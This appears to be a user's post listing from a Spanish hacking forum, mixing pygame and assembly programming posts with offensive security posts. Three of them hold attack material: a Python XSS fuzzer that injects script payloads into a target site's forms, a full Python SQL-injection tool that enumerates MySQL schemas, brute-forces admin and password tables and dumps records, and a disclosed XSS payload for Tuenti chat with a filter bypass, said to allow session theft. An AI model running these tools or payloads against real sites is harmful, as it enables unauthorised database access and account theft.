elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Temas
Páginas: 1 [2] 3 4
11  Informática / Electrónica / [?] Diferencias entre [ COM | SERIE] y puerto paralelo en: 11 Enero 2010, 21:04 pm
Hola, me empecé a interesar por este mundo y ya he hecho circuitos para encender leds y esas cosas básicas. He buscado en google, pero no encuentro lo que busco.
Ahora lo que me gustaría es mezclarlo con software y mi primera idea después de buscar información fue usar el puerto paralelo, pero al buscar el puerto paralelo en mi máquina descubrí que no tenía.
Después de buscar un poco más vi que se podía hacer por puerto serie, o com, o RS232 y mi pc si poseía uno de estos puertos.
Ya sé que el número de pines es distinto, pero a la hora de programar (C) ... es igual que el puerto paralelo, osea... lo que se hace es 'accionar y desaccionar' pines que van mandando 5 v?
Se hace con las mismas funciones que el puerto paralelo pero con la dirección del puerto de serie?
Gracias.
12  Seguridad Informática / Hacking / [Duda nessus] No me aparecen los plugins en: 3 Enero 2010, 22:45 pm
Ya he configurado el certificado, el usuario...
Alguien entiende por qué me aparece así?

Gracias.
13  Programación / Scripting / [Lección 2]Taller de desarrollo de videojuegos con pygame. en: 3 Enero 2010, 14:26 pm
Debido a que he visto que en el foro hay interés por python, he decidido que voy a hacer un pequeño taller sobre la librería para desarrollo de juegos pygame.
Las lecciones de este taller se irán poniendo en este mismo post para que estén todas juntas.
Debo aclarar que esto no va a ser un análisis de los métodos y clases que ofrece pygame, sino una aplicación práctica de los que considero mas importantes.
Instalación
  • En linux.
Python viene preinstalado y para instalar pygame basta con bajarse el paquete de los repositorios.
Código:
# yum install pygame
[...]
$ sudo apt-get install pygame
[...]
# zypper install pygame
[...]
Depende de la distribución que uséis.
  • En windows
Python os lo podéis bajar de su web : (yo voy a usar la versión 2.6)
Y para pygame os podéis bajar el instalador desde esta web : http://www.pygame.org/download.shtml


Un poco de teoría
Todos los juegos que podéis imaginar, siguen este esquema:
Mientras no se termine:
 
  • Procesar entradas (que pueden ser del teclado, del ratón...)
  • Actualizar gráficos (puede ser mover un marcianito, cambiar de color una roca ...)
  • Actualizar sonido (puede ser un disparo, los expectadores grintando gol ...)
  • Mostrar gráficos (ponerlos en la pantalla)
  • Reproducir sonidos (hacer que suenen)
A cada repetición que se hace de este esquema se le llama frame.
Empezando con pygame
Por el momento, para importar pygame haremos esto:
Código
  1. import pygame
  2.  
Creando la ventana y mostrando la primera imagen
Para crear la ventana se haría así:
Código
  1. import pygame
  2. ventana = pygame.display.set_mode((800,400))
  3. raw_input()
  4.  
Donde 800 y 400 son el tamaño de la ventana.
Si lo ejecutan verán que les aparece una ventana.
También les voy a aclarar que todo lo que se puede mostrar en esa ventana son objetos Surface de la librería pygame.
Para mostrar una imagen hay que hacer esto :
Código
  1. import pygame
  2. ventana = pygame.display.set_mode((800,400))
  3. imagen = pygame.image.load('nombredeimagen')
  4. ventana.blit(imagen,(0,0))
  5. pygame.display.flip()
  6. raw_input()
  7.  
pygame.image.load() crea una surface a partir de una imagen donde nombredeimagen es el nombre de una imagen que esté en el mismo directorio que el juego.
Lo que hace el método blit es colocar la Surface que le pasemos como argumento en las coordenadas que le pasemos como segundo argumento siendo 0,0 la esquina superior izquierda.
pygame.display.flip() lo que hace es mostrar los gráficos que tenga que mostrar.
Aquí acaba la primera lección, mas tarde seguiré.
Mover imágenes por la pantalla
Para mover imágenes por la pantalla lo que hay que hacer es ir actualizando un par de variables que servirán como cordenadas del método .blit(). De esta forma :
Código
  1. import pygame,time
  2. pantalla = pygame.display.set_mode((600,400)) # Crea la pantalla con esas dimensiones
  3. imagen = pygame.image.load('imagen.gif') # Carga la imagen
  4.  
  5. while 1:
  6. for i in range(400):
  7.  pantalla.blit(imagen,(i,i)) # Pone la imagen en las coordenadas que diga la variable
  8.  pygame.display.flip()
  9.  time.sleep(0.01)
  10. for i in range(400):
  11.  pantalla.blit(imagen,(400-i,400-i))
  12.  pygame.display.flip()
  13.  time.sleep(0.01)
  14.  
Si prueban ese código verán que la imagen.gi (podéis cambiarle el nombre por el nombre de la imagen que usaron antes) se va moviendo en diagonal por la pantalla , pero , hay un problema y es que la imagen se va sobreponiendo sin borrar la anterior.
En pygame , no se pueden borrar las imágenes que aparecen en la pantalla, pero lo que si se puede hacer es tapar lo que había antes con una imagen del tamaño de la ventana.De esta forma :
Código
  1. import pygame,time
  2. pantalla = pygame.display.set_mode((600,400)) # Crea la pantalla con esas dimensiones
  3. imagen = pygame.image.load('imagen.gif') # Carga la imagen
  4. fondo = pygame.Surface((600,400)) # Crea una imagen (Surface)
  5. fondo.fill([255,255,255]) # La rellena de color blanco (255,255,255esla representacion de rojo,amarillo y azul de la imagen)
  6. while 1:
  7. for i in range(400):
  8.  pantalla.blit(fondo,(0,0)) # Carga el fondo en la pantalla, tapando todo lo que hubiera antes
  9.  pantalla.blit(imagen,(i,i)) # Pone la imagen en las coordenadas que diga la variable i tapando esa parte del fondo
  10.  pygame.display.flip()
  11.  time.sleep(0.01)
  12. for i in range(400):
  13.  pantalla.blit(fondo,(0,0))
  14.  pantalla.blit(imagen,(400-i,400-i))
  15.  pygame.display.flip()
  16.  time.sleep(0.01)
  17.  
Y así se evita el problema.
14  Programación / Scripting / [ Python ] [ Pygame ] Alguien se anima a hacer un juego online? en: 1 Enero 2010, 20:14 pm
Como he visto que hay varias personas con python dentro del foro, se me ocurrió la idea de hacer un sencillo juego online .
Quien quiera participar que lo ponga aquí.
Requisitos :
 
  • Entender la lógica de la programación
  • Programar algo básico en python
Os aclaro, que yo ya he hecho varios juegos y que tengo la idea de como lo podríamos hacer.
También decir que no va a ser nada serio que una vez que estéis dentro tengáis que seguir haciéndolo medio obligados, que se irá de forma tranquila.
15  Seguridad Informática / Nivel Web / [python] Herramienta (bastante precaria) para XSS en: 7 Diciembre 2009, 17:27 pm
Bueno, la he hecho esta mañana, os la pongo para que los que no sepan mucho vayan aprendiendo y ya la iré mejorando.
Lo que hace es que le pasas como argumento la página que quieres "XSSar" y va probando el payload que le hayas puesto en todos los inputs y te guarda los resultados. Es bastante inestable.
Código
  1. #!/usr/bin/python
  2. import urllib2,urllib,sys,string
  3. from HTMLParser import HTMLParser
  4. class parsearhtml(HTMLParser):
  5.   formactual = -1
  6.   atributosform = []
  7.   atributosinput = []
  8.   def handle_starttag(self, tag, attrs):
  9.     atributosform = {}
  10.     atributosinput = {}
  11.     if tag=="form":
  12.       for i in range(len(attrs)):
  13.         atributosform[attrs[i][0]] = attrs[i][1]
  14.       self.atributosform.append(atributosform)
  15.       self.atributosinput.append([])
  16.       self.formactual+=1
  17.     if tag=="input":
  18.       for i in range(len(attrs)):
  19.         atributosinput[attrs[i][0]] = attrs[i][1]
  20.       self.atributosinput[self.formactual].append(atributosinput)
  21. def obtenerhost(url): #Funcion que obtiene el host
  22.  if url[0:7]=='http://':
  23.    return url[0:url[7:].find('/')+7]
  24.  if url[0:8]=='https://':
  25.    return url[0:url[8:].find('/')+8]
  26.  return url
  27. def obtenercarpeta(url): #Obtiene la carpeta en la que esta guardado el archivo...
  28.  i = len(url)-1
  29.  while i!=0:
  30.    if url[i]=='/': return url[:i+1]
  31.    i-=1
  32.  return url
  33. def obtenerruta(action): #Funcion que obtiene la direccion a la cual mandar las variables
  34.  global host,carpeta
  35.  if action.find('http://')!=-1 or action.find('https://')!=-1:
  36.    return action
  37.  if action[0]=='/':
  38.    return host+action
  39.  else :
  40.    return carpeta+action
  41. url = sys.argv[1]
  42. host = obtenerhost(url)
  43. carpeta =  obtenercarpeta(url)
  44. #Variables de localizacion
  45. useragent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"
  46. cabeceras = { "User-Agent" : useragent }
  47. code = urllib2.urlopen(url).read()
  48. print "Codigo de la pagina obtenido ..."
  49. try :
  50. parser = parsearhtml()
  51. parser.feed(code) # Ha recogido todos los forms y los inputs
  52. except :
  53. print "Hubo un error parseando el HTML"
  54. #Ya tengo todos los datos necesarios
  55. print "Datos obtenidos ..."
  56. payloads = ['<h1>Payload</h1>','<script>alert(/HOLA/);</script>'] # Payloads de XSS
  57. atributosform = parser.atributosform
  58. atributosinput = parser.atributosinput
  59. if len(atributosform)==0: print "No se encontraron forms"
  60. for indice in range(len(atributosform)):
  61.  #Se obtiene la direccion a la que mandar los datos
  62.  print "Obteniendo direccion a la que mandar los datos... "
  63.  if atributosform[indice].has_key('action'):
  64.    urlamandar = obtenerruta(atributosform[indice]['action'])
  65.  else:
  66.    urlamandar = url
  67.  #Se empiezan a rellenar las variables con los payloads correspondientes...
  68.  maliciousdata = {}
  69.  print "Rellenando con los payloads las variables ..."
  70.  for varinput in atributosinput[indice]:
  71.    if varinput.has_key('name'):
  72.      maliciousdata[varinput['name']] = payloads[1]
  73.  maliciousdata = urllib.urlencode(maliciousdata)
  74.  req = urllib2.Request(urlamandar,maliciousdata,headers = cabeceras)
  75.  codeinfectado = urllib2.urlopen(req).read()
  76.  print "Escribiendo el archivo ",str(indice)+".html"
  77.  resultado = open(str(indice)+'.html','w')
  78.  resultado.write(codeinfectado)
  79.  
 
Le podéis modificar facilmente el user-agent y el payload.
Uso :
Código:
python xss.py http://localhost/xss.php
16  Seguridad Informática / Nivel Web / [Tool][python] Mi herramienta para SQLi en mysql en: 28 Noviembre 2009, 19:57 pm
Bueno , aquí les dejo una herramienta muy útil que ahorra mucho trabajo muchas veces, os dejo unas capturas.
Encuentra la estructura de la bd por information_schema y si no hay brutea el nombre de las tablas y columnas.

Siendo esa la web con SQLi :

Si escribes :
./sqli [urlvulnerable] -c
Podrás ver los registros de la tabla que tu quieras .

Si haces :
./sqli [urlvulnerable] -r
Te dirá todas las bases de datos ,tablas y columnas menos las del information_schema (porque son muchas y no tan necesarias).
Si no pones ni -r ni -c te hará las dos.
Código
  1. #!/usr/bin/python
  2. import urllib2,sys,string
  3. # Sql injector helper by braulio23
  4. # Usage sql.py http://host/app?vulnparameter=
  5. # Example : sql.py http://localhost/sql.php?id=
  6. def entre(code,delimita):
  7. try :
  8.  for numero in range(len(code)):
  9.    if code[numero:numero+len(delimita)]==delimita:
  10.       indice1=numero+len(delimita)
  11.       break
  12.  for numero2 in range(indice1+1,len(code)):
  13.    if code[numero2:numero2+len(delimita)]==delimita:
  14.       indice2 = numero2
  15.       return code[indice1+1:indice2]
  16. except : return False    
  17. def codigo(url):
  18. return urllib2.urlopen(url).read()
  19. def char(cadena):
  20. cadena+="~"
  21. returned = "char("
  22. for caracter in cadena:
  23.   returned+=str(ord(caracter))
  24.   if caracter!="~": returned+=","
  25. return returned+")"
  26. def encontrar(code,cadena):
  27.  
  28.    longitudcode = len(code)
  29.  
  30.    longitudcadena = len(cadena)
  31.  
  32.    for indice in range(0,longitudcode-4):
  33.  
  34.        if code[indice:indice+longitudcadena]==cadena:      
  35.  
  36.            return 0
  37. def consultacorrecta(url,listadecosasaencontrar):
  38.  pagina = urllib2.urlopen(url)
  39.  codigo = pagina.read()
  40.  for cosa in listadecosasaencontrar:
  41.    if encontrar(codigo,cosa)==0:
  42.      return True
  43.  return False  
  44. def printable(urlbase,numero,columnas):
  45.  urlbase+="-1%20union%20select%20"
  46.  listadecosas = []
  47.  for a in range(columnas):
  48.    if a==numero:
  49.      urlbase+=char('aaabaaabaaabaaabaaabaaabaabababab')
  50.      listadecosas.append('aaabaaabaaabaaabaaabaaabaabababab')
  51.    else :
  52.      urlbase+='concat(202020,'+str((a+1)*31337)+')'
  53.    if a!=columnas-1 : urlbase+=','
  54.  return consultacorrecta(urlbase+'%20--',listadecosas)
  55. def obtenerdato(urlbase,printables,columnas,variable,tabla='okokokok',limit=0):
  56. urlbase+="-1%20union%20select%20"
  57. for a in range(columnas):
  58.  if a==printables:
  59.    urlbase+='concat('+char('%%%%')+','+variable+','+char('%%%%')+')'
  60.  else :
  61.    urlbase+=str(a)
  62.  if a!=columnas-1 : urlbase+=","
  63. if tabla != 'okokokok' : urlbase+='%20from%20'+tabla
  64. urlbase+='%20limit%20'+str(limit)+',1'
  65. code = codigo(urlbase+'%20--')
  66. return entre(code,'%%%%')
  67. def datosgenerales():
  68. global columnasprintables
  69. print '[+] Version ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'version()')
  70. print '[+] Usuario ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'current_user()')
  71. print '[+] Base de datos ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'database()')
  72. def estructuraconschema():
  73. print "[+]Bases de datos"
  74. i=0
  75. while obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',i)!=False:
  76.  database = obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',limit=i)
  77.  print "[-------------------->]",database
  78.  j=0
  79.  while obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j)!=False:
  80.   tabla = obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j)
  81.   print "[------------>]",tabla
  82.   k=0
  83.   while obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k)!=False:
  84.     columna = obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k)
  85.     print '[--->]',columna
  86.     k+=1
  87.   print '\n'
  88.   j+=1
  89.  i+=1
  90. def consultas():
  91. print "---- Consulta personalizada ----"
  92. db=""
  93. while 1:
  94.   db = raw_input("(Escribe Salir para salir) Nombre de la base de datos : ")
  95.   if db=="Salir" : break
  96.   tabla = raw_input("Nombre de la tabla  : ")
  97.   columnas = raw_input("Nombres de las columnas (separadas por comas) : ")
  98.   columnas = columnas.replace(',',",0x20,")
  99.   for lolo in range(1000):
  100.     resultado = obtenerdato(urlvulnerable,columnasprintables[0],numero,'concat('+columnas+')',db+'.'+tabla,lolo)
  101.     if resultado!=False:
  102.       print "Resultado :",resultado
  103.     else :
  104.       print "Ya no quedan mas registros "
  105.       break  
  106. listatablas = ['admin','tblUsers','tblAdmin','user','users','username','noticias','usernames','usuario',
  107.  'name','names','nombre','nombres','usuarios','member','members','admin_table',
  108.  'miembro','miembros','membername','admins','administrator',
  109.  'administrators','passwd','password','passwords','pass','Pass',
  110.  'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
  111.  'member_password','mods','mod','moderators','moderator','user_email',
  112.  'user_emails','user_mail','user_mails','mail','emails','email','address',
  113.  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  114.  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  115.  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
  116.  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  117.  'sistema_usuario','sistema_password','contraseña','auth','key','senha',
  118.  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
  119.      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
  120.      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
  121.      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
  122.      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
  123.      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
  124.  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO','news']
  125. listacolumnas = ['admin_name','codigo','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
  126.          'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
  127.          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
  128.          'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
  129.          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
  130.          'user_pwd','u_pass','clave','usuario','contraseña','pas','sistema_password','autor','upassword','web_password','web_username']
  131. urlvulnerable = sys.argv[1]
  132. columnasprintables = []
  133. print "-----> Cuestiones principales <-----"
  134. for numero in range(500):
  135.   listadecosas=['159753159753']
  136.   urlatestear = urlvulnerable
  137.   urlatestear += "-1%20union%20select%20"
  138.   for columna in range(numero):
  139.     urlatestear+="concat(20101010,"+str((columna+1)*31337)+")"
  140.     listadecosas.append("20101010"+str((columna+1)*31337))
  141.     if columna!=numero-1: urlatestear+=","
  142.   if consultacorrecta(urlatestear+"%20--",listadecosas):
  143.     urlcorrecta = urlatestear
  144.     print "[+] La tabla tiene ",numero,"columnas"
  145.     break
  146. for a in range(numero):
  147.   if printable(urlvulnerable,a,numero):
  148.     columnasprintables.append(a)
  149. if len(sys.argv)<3: sys.argv.append('-rc')
  150. if sys.argv[2]=='-r' or sys.argv[2]=='-rc':
  151. print "-----> Variables generales <-----"
  152. datosgenerales()
  153. if obtenerdato(urlvulnerable,columnasprintables[0],numero,'1','information_schema.tables')!=False:
  154.  print "[+] Tiene information_schema "  
  155.  print "---> Estructura de la base de datos <---"
  156.  estructuraconschema()
  157. else :
  158.  print "[-] No tiene information_schema "
  159.  print "-----> Bruteando tablas <------"
  160.  for tabla in listatablas:
  161.   if obtenerdato(urlvulnerable,columnasprintables[0],numero,'4',tabla)!=False:
  162.    print "[->] Tabla ",tabla,"encontrada"
  163.    for columna in listacolumnas:
  164.      if obtenerdato(urlvulnerable,columnasprintables[0],numero,columna,tabla)!=False:
  165.         print "[-->] Columna ",columna,"encontrada"
  166. if sys.argv[2] == '-c' or sys.argv[2]=='-rc':
  167. consultas()
  168.  

PD: el code es muy feo porque lo programé tarde por la noche.

Suerte.
17  Seguridad Informática / Nivel Web / Vulnerabilidad XSS en tuenti. en: 30 Octubre 2009, 17:37 pm
He encontrado esta vulnerabilidad en la página de tuenti y quería compartirla con ustedes.
Advierto que la vulnerabilidad ya ha sido notificada a los administradores y que en breve será arreglada.

Bueno, la vulnerabilidad está en el chat a la hora de poner enlaces.
Si escribes en el chat 'http://hola.com', el código queda algo así :
Código
  1. <a href="http://hola.com" title="http://hola.com" onclick="LightBox.init_with_simple_template({'lightbox_id': 'light_box', 'width': '350'}, 'js_template_external_link', {'title': 'Link externo', 'message': 'El link al que intentas acceder está fuera de Tuenti.', 'url':'http://hola.com', 'question': '¿Estás seguro de que deseas continuar?', 'close_button': 'Cerrar', 'continue_button': 'Continuar'}, {'submit_light_box': function(){window.open('http://hola.com'); LightBox.close();}}); return false;" class="externalLink">http://hola.com</a>
Fijense que en el atributo onclick aparece varias veces 'http://hola.com'.
Concretamente fijense en la función window.open(), ahí puedes insertar una comilla simple y escapar de la función.

Lo que se ha escrito en ese mensaje es :
Código:
http://haha
Y el código queda así:

Ahora, ya deberíais saber como ejecutar el código javascript que quisierais :

Lo que se ha escrito en ese mensaje es :
Código:
http://');alert('XSS
Y el código queda así :

Gracias a este XSS se podrían hacer multiples cosas como robar sesiones.

PD:Si quieres redireccionar de la típica manera con "location='http://google.com';" tendrías que hacerlo asi:
"location='h'+'ttp://google.com';"
Porque si encuentra en la cadena que mandes "http" lo interpretará como otra cadena.
18  Programación / PHP / Seguridad contra CSRF en: 23 Agosto 2009, 15:30 pm
Sería seguro que para hacer una cosa como un cierre de sesión , el poner un comentario... pasar por get o por post el session_id() y comprobarlo en la página que hace el session_destroy() o el poner el comentario?
No se si me he explicado muy bien pero bueno...
Gracias
19  Foros Generales / Sugerencias y dudas sobre el Foro / ¿ Usuarios visitantes ? en: 14 Agosto 2009, 02:23 am
He visto alguno por algún foro.
¿ Cómo se puede postear siendo visitante ?
20  Programación / ASM / [?][Linux/Nasm]No funciona programa similar a cat. en: 10 Agosto 2009, 14:12 pm
Estoy en linux, usando nasm y estoy haciendo este código.
Código
  1. section .data:
  2.  fichero: db 'programa'; Nombre que tendra el programa
  3. section .bss:
  4.  texto: resb 16000
  5. section .text:
  6. global _start
  7. _start:
  8.  mov eax,5 ; sys_open()
  9.  pop ebx
  10.  pop ebx ; El nombre de este programa
  11.  pop ebx; Primer argumento
  12.  mov ecx,0 ; Para leer
  13.  int 80h
  14.  ; Ya está en eax
  15.  mov ebx,eax; Ya no(bueno , aun si)
  16.  mov eax,3 ; sys_read
  17.  mov ecx,texto
  18.  mov edx,16000
  19.  int 80h;
  20.  ;El contenido del fichero este está en texto.
  21.  ;Ahora voy a abrir otro fichero
  22.  mov eax,4
  23.  mov ebx,1
  24.  mov ecx,texto
  25.  mov edx,16000
  26.  int 80h
  27.  
  28.  
  29.  mov eax,1
  30.  mov ebx,0
  31.  int 80h
  32.  
  33.  
  34.  
Cuando lo ejecuto (le he dado todos los permisos necesarios y eso) no hace nada.
Creo que lo he hecho bien, alguien sabe cuál es el problema?
Gracias
Páginas: 1 [2] 3 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines